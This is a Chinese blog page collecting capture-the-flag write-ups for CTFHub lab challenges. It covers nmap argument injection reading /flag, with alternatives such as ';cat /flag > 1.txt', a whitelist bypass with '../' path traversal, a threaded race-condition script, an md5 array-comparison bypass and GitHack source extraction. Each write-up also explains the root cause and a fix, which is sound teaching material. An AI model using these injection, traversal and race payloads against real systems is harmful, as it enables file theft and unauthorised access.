首页
关于
Search
1
保姆级教程|Pikachu 漏洞靶场本地搭建实录
1,772 阅读
2
优质 CSS 样式网站合集|动画、布局、图形分割前端素材站点整理
795 阅读
3
优质游戏资源网站合集|实测可用的单机游戏下载站点整理
633 阅读
4
虚拟机上不了网?找不到网卡?1分钟教你解决!
354 阅读
5
VMware无法打开内核设备,VMCIDev\VMX报错,VMware虚拟机启动失败,vmci0.present,false,虚拟机报错修复
317 阅读
优质资源收录
网安
VMware
好用小技巧
靶场通关教学
登录
Search
标签搜索
CTFHub
SQL注入
Web安全
靶场搭建
phpstudy
XXE
`XSS`、`跨站脚本攻击`、`Web安全`、`Pikachu靶场`、`渗透测试`、`网络安全`、`漏洞复现`、`安全防御`
靶场练习
任意文件读取
CTFhub、网络安全、md5绕过、PHP、源码泄露、靶场
CTFhub、网络安全、竞争条件、Race Condition、Python、多线程、靶场
CTFhub、网络安全、文件包含、代码审计、白名单绕过、PHP、靶场
CTFhub、网络安全、命令注入、nmap、Web安全、靶场
渗透测试
http.server
VulnHub
靶场复现
代理池
ProxyCat
闪臣
我独自升级中
累计撰写
21
篇文章
累计收到
0
条评论
首页
栏目
优质资源收录
网安
VMware
好用小技巧
靶场通关教学
页面
关于
搜索到
10
篇与
的结果
2026-10-03
CTFhub-nmap过关攻略
靶场地址CTFhub → 历年真题 → Web → 专家 → nmap(2020-网鼎杯-朱雀组)一句话漏洞点页面把用户输入的 host 直接拼进 nmap 命令执行 → 命令注入,用 nmap 自己的参数读文件。看源码:注释直接给了 flag 路径view-source: 打开首页,最后一行是 <!-- flag is in /flag -->。输入 ' -iL /flag -oN flag.txt ' 让 nmap 把 /flag 当目标列表' -iL /flag -oN flag.txt '-iL /flag:让 nmap 从 /flag 文件里读取扫描目标,于是它会把文件内容当主机名逐个处理;-oN flag.txt:把扫描结果按规定格式输出到 flag.txt,写在 Web 根目录下就能直接下载;两端的单引号是为了让这段内容被当成一个整体参数拼进命令。访问 flag.txt,报错信息里直接吐出 flaghttp://challenge-92b4e19209e12fe7.sandbox.ctfhub.com:10800/flag.txtnmap 把 /flag 里的内容当作主机名去解析,解析失败会把内容原样写进报告:Failed to resolve "ctfhub{1cbbdd96315d80d283ee6ba8}". WARNING: No targets were specified, so 0 hosts scanned.拿到 flagctfhub{1cbbdd96315d80d283ee6ba8}为什么报错里会出现 flag整条命令的实际效果相当于:nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/ebfce -iL /flag -oN flag.txt ' -iL /flag -oN flag.txt 'nmap 读 /flag 时并不知道里面是 flag,它把这一行当成主机名去解析。解析失败时 nmap 会把这条主机名写进结果里(Failed to resolve "..."),于是 flag 就借着报错文本落到了输出文件 flag.txt。命令注入是什么漏洞根子是用户输入被拼进系统命令执行(类似 nmap xxx → shell_exec("nmap ".$host))。只要没做过滤,就能用命令自带的参数或 ;、|、&& 追加自己的操作。本题的巧妙处是不靠 ; 拼接,而是利用 nmap 自身的 -iL(从文件读目标列表)和 -oN(输出到文件)两个参数完成"读文件 + 写文件"。判断特征:功能类页面(扫描、ping、图片处理、压缩)出现输入框,基本都是命令拼接注入。修复方式:使用参数化调用(如 PHP 的 escapeshellarg()),或直接换成库函数/白名单校验 host 格式。补充-iL 会把文件按行当目标,所以 flag 只有一行也能被完整读出;若文件有多行,会逐行写进报告。同类思路还有:;cat /flag > 1.txt、$(cat /flag) 等,但本题过滤了部分符号,才改用 nmap 参数实现。附:nmap 最常用的几条命令命令作用nmap 192.168.1.1默认扫描,常用端口 + 服务探测nmap -sV 192.168.1.1探测端口对应的服务及版本nmap -p 80,443,8080 192.168.1.1只扫指定端口(-p- 扫全部 65535 个端口)nmap -sn 192.168.1.0/24只做主机存活探测,不扫端口nmap -sS 192.168.1.1SYN 半开扫描,快且不易留日志(需管理员权限)nmap -O 192.168.1.1尝试识别目标操作系统nmap -A 192.168.1.1综合扫描:-sV + -O + 脚本 + traceroutenmap -T4 192.168.1.1提高扫描速度(-T0~-T5,越大越快越容易被发现)nmap -Pn 192.168.1.1跳过存活探测,目标禁 ping 时照扫nmap --script=vuln 192.168.1.1调用漏洞检测类 NSE 脚本nmap -iL targets.txt从文件读取目标列表(本题读 flag 用的就是这个)nmap -oN out.txt 192.168.1.1结果输出到普通文本文件(-oX 为 XML,-oA 输出全部格式)记忆要点:-s 系列选扫描方式,-p 选端口,-o 系列管输出文件,-i 系列管输入来源。
2026年10月03日
79 阅读
0 评论
0 点赞
2026-10-03
CTFhub warmup过关攻略
靶场地址CTFhub → 历年真题 → Web → 2018-HCTF-Web-warmup在题目列表里筛选 Web、难度困难,点进 warmup。一句话漏洞点checkFile() 校验的是 ? 截断后的字符串,include 用的却是原始字符串,校验与执行不一致 → 白名单绕过 + 目录穿越。看页面源码:注释里留下了 source.phpview-source: 打开首页,第 10 行是 <!--source.php-->,这是审计入口。访问 source.php:白名单只放行两个文件名$whitelist = ["source"=>"source.php","hint"=>"hint.php"];白名单里除了 source.php 还有 hint.php,而 hint 就是提示的意思 → 先去看 hint.php。访问 hint.php,得到 flag 的文件名flag not here, and flag in ffffllllaaaagggg回来分析拦截逻辑:校验被 ? 截断,include 没截断$_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); // 只取第一个 ? 之前的部分 if (in_array($_page, $whitelist)) { return true; } // 校验的是这一段 ... include $_REQUEST['file']; // 执行的是完整原始参数mb_strpos($page . '?', '?'):在参数后补一个 ? 再找位置,所以一定能找到,返回值就是第一个 ? 的下标。mb_substr($page, 0, 该下标):把 ? 及其后面全部砍掉,只拿前面送去比对。于是只要前半段是白名单文件名、? 后面接任意内容,校验就一定通过,而 include 照样带着后半段去加载文件。构造 payload:前半段过校验,后半段穿越目录http://challenge-055d9b46127e5bc0.sandbox.ctfhub.com:10800/source.php?file=source.php?../../../../../ffffllllaaaaggggfile=source.php?../../../../../ffffllllaaaagggg校验阶段:截到第一个 ? → source.php,命中白名单 → 返回 true;执行阶段:include 拿到完整字符串,../ 逐级上跳,命中上面从 hint.php 得到的文件名 ffffllllaaaagggg。为什么是 ../../../../../ffffllllaaaagggg,而不是 ffffllllaaaagggg 或 ../ 开头../ 不是装饰,它决定 include 最终去哪个目录找文件:写法实际查找位置结果ffffllllaaaagggg当前工作目录下,即 /var/www/html/ 里文件不在这,失败../ffffllllaaaagggg只上跳 1 级(/var/www/)深度不够,失败source.php?ffffllllaaaaggggsource.php?ffffllllaaaagggg 被当成目录名失败../../../../../ffffllllaaaagggg先上跳 5 级再找成功原因有三个:flag 文件不在网站根目录。hint.php 只说"flag in ffffllllaaaagggg",没给路径;直接请求 http://.../ffffllllaaaagggg 报 403 Forbidden,说明它位于 Web 根目录之外,必须靠目录穿越走出去。../ 的层数是"猜深度",不是精确指定。../ 只能上一级,而当前工作目录的绝对路径并不知道;../../../../../ 是上跳够多次直到文件系统根 /,之后 /ffffllllaaaagggg 就是绝对路径。层数取多不取少——上跳超过根目录后仍停在 /,所以多写几层不会出错,5~7 层是覆盖常见镜像深度的通用写法。前面的 source.php? 会变成一个不存在的目录名。因为校验要求开头必须是白名单文件名,payload 前半段被钉死成 source.php?,它在路径里等同于一个目录;这更说明必须依赖"上跳够多次回到根"来保证最终命中。一句话概括:ffffllllaaaagggg 来自 hint.php(信息),../ 负责把它从"目录未知"变成"绝对路径可达"(利用),两者缺一不可。拿到 flagctfhub{5517caa381efd9d6375a9a33}校验与使用不一致是什么漏洞根子是检查的字符串和执行时用的字符串不是同一个:校验前先按 ? 截断(只看文件名),执行时却把原始参数整串交给 include(路径部分照样生效)。判断特征很好认——源码里出现"截断后再 in_array 白名单"的写法,基本都能这样绕。修复方式:校验和使用同一个变量,用 basename() 取纯文件名与白名单精确比对,再用 realpath() 把结果限制在指定目录内,不要依赖 ? 截断做安全判断。补充截断条件不限于 ?:urldecode 之后还会再截一次,所以传 source.php%3f../../.. 也能过校验,效果相同。若白名单里没有 hint.php,就得另想办法猜文件名,这道题的 hint.php 相当于直接给了答案的一半。
2026年10月03日
75 阅读
0 评论
0 点赞
2026-10-03
CTFhub-Fast Running过关攻略
靶场地址CTFhub → 历年真题 → Web → 困难 → Fast Running一句话漏洞点改密码与校验密码之间存在时间窗口,并发请求可让"改密"和"登录"同时通过。题面:修改密码与登录是两个独立接口改密:/change_passwd.php?passwd=12&passwd_confirm=12登录:/login_check.php?passwd=12服务端的校验逻辑是"密码没变就放行"(防止误改),只要在它读取旧密码后、写入新密码前抢到登录请求,就能拿着旧密码通过校验。多线程并发:一个线程疯狂改密,一个线程去登录import threading import requests def change_pass(): # 死循环发送改密请求 while True: url = ("http://challenge-ae248c6e607d2353.sandbox.ctfhub.com:10800" "/change_passwd.php?passwd=12&passwd_confirm=12") requests.get(url) def login(): # 发送一次登录请求 url = ("http://challenge-ae248c6e607d2353.sandbox.ctfhub.com:10800" "/login_check.php?passwd=12") print(requests.get(url).text) if __name__ == '__main__': t1 = threading.Thread(target=change_pass) t2 = threading.Thread(target=login) t1.start(); t2.start() t1.join(); t2.join()要点:change_pass 用 while True 高频占住改密接口,把时间窗口撞开的概率放大;login 只需一次请求,撞中即回显 flag。运行脚本,回显 flagD:\Python\.venv\Scripts\python.exe "D:\Python\cs\CTFHub\Fast Running.py" ctfhub{415c61719bbfc174c2ccfb48}竞争条件(Race Condition)是什么程序把"检查"和"执行"拆成两步且没有加锁时,两步之间就存在时间窗口;并发请求可以挤进这个窗口,让两个互斥的操作同时成立。本题的检查与执行:读取数据库里的旧密码;比较提交的密码是否等于旧密码;相等则视为"没改",放行;不相等才写入新密码。改密请求不断把密码在"旧值 → 新值"之间来回改,登录请求恰好落在步骤 2 之后、步骤 4 之前,于是用旧密码通过了本该只对新密码开放的逻辑。判断依据是"同一秒内两个请求同时成功",不是逻辑漏洞而是时序漏洞。修复方式:对改密与登录的关键区段加锁(数据库事务 + 行锁,或 Redis 分布式锁),保证检查与写入原子化。补充t1 是死循环,脚本不会自己退出;看到 flag 后手动停止即可。实战中常用 Burp Intruder 无限发包或多线程脚本打这类题;脚本里线程数越多,撞中的概率越高。同类考法:优惠券重复领取、余额超额提现、验证码一次性消费绕过。
2026年10月03日
84 阅读
0 评论
0 点赞
2026-10-03
CTFhub-weakphp过关攻略
靶场地址CTFhub一句话漏洞点.git 目录泄露源码,PHP 源码中 md5($user) == md5($pass) && $user != $pass 可用数组绕过。先常规试访问 /.git/,被拒绝说明目录存在但被拦,改用工具拉取源码。GitHack 拉取泄露的源码,拿到 index.phppython GitHack.py http://challenge-6aa607a533448e86.sandbox.ctfhub.com:10800/.git输出 [OK] index.php,说明源码已被完整下载。审计 index.php,找到绕过条件if ((md5($user) == md5($pass)) and ($user != $pass)) { echo $flag; }条件核心:两个不同参数,md5 值却要相等。传数组,两个 md5() 都返回 null,比较成立http://challenge-6aa607a533448e86.sandbox.ctfhub.com:10800/index.php?user[]=1&pass[]=2md5() 只接受字符串,收到数组会报错并返回 null;null == null 为真,[1] != [2] 也为真,两个条件同时满足。拿到 flagctfhub{b4ba4162fe4c7125393bbdb6}数组绕过 md5 是什么md5() 的参数类型是 string,传入数组时函数无法处理,PHP 直接返回 null(并抛 Warning)。两个不同的数组因此得到同一个结果 null,null == null 恒成立,判断被绕过。有效前提是弱比较 ==:两边都是 null 时相等。若代码写成 === 强比较,null === null 仍为真,所以这种写法同样防不住数组绕过。真正的修复是给参数做类型校验:if (!is_string($user) || !is_string($pass)) die();,再配合 password_hash() 这类不可逆且带盐的校验。补充手工拼 URL 时方括号需编码为 %5B%5D,浏览器直接输入 [] 也可以。同类技巧还有 md5 弱比较的哈希碰撞值(如 240610708 与 QNKCDZO 都以 0e 开头被当作科学计数法),但本题参数被数组化利用,用 [] 更直接。
2026年10月03日
75 阅读
0 评论
0 点赞
2026-10-02
CTFHub-粗心的小李过关攻略&GitHack下载
靶场链接https://www.ctfhub.com/#/challenge使用GitHack.py扫描靶场地址python GitHack.py http://challenge-0ba063bca946b086.sandbox.ctfhub.com:10800/.git/打开得到的html文件,发现flagGitHack下载:安装Python与Git下载并安装 Python安装 Git,确保在命令行可执行 git 命令。从 GitHub 获取源码:https://github.com/lijiejie/GitHack安装依赖库 在 GitHack 源码目录执行:pip install GitPython==2.1.11pip install pathlib==1.0.1运行GitHack 在 GitHack 目录打开命令行:python GitHack.py http://example.com/.git/将 http://example.com/.git/ 替换为目标地址。
2026年10月02日
120 阅读
0 评论
0 点赞
1
2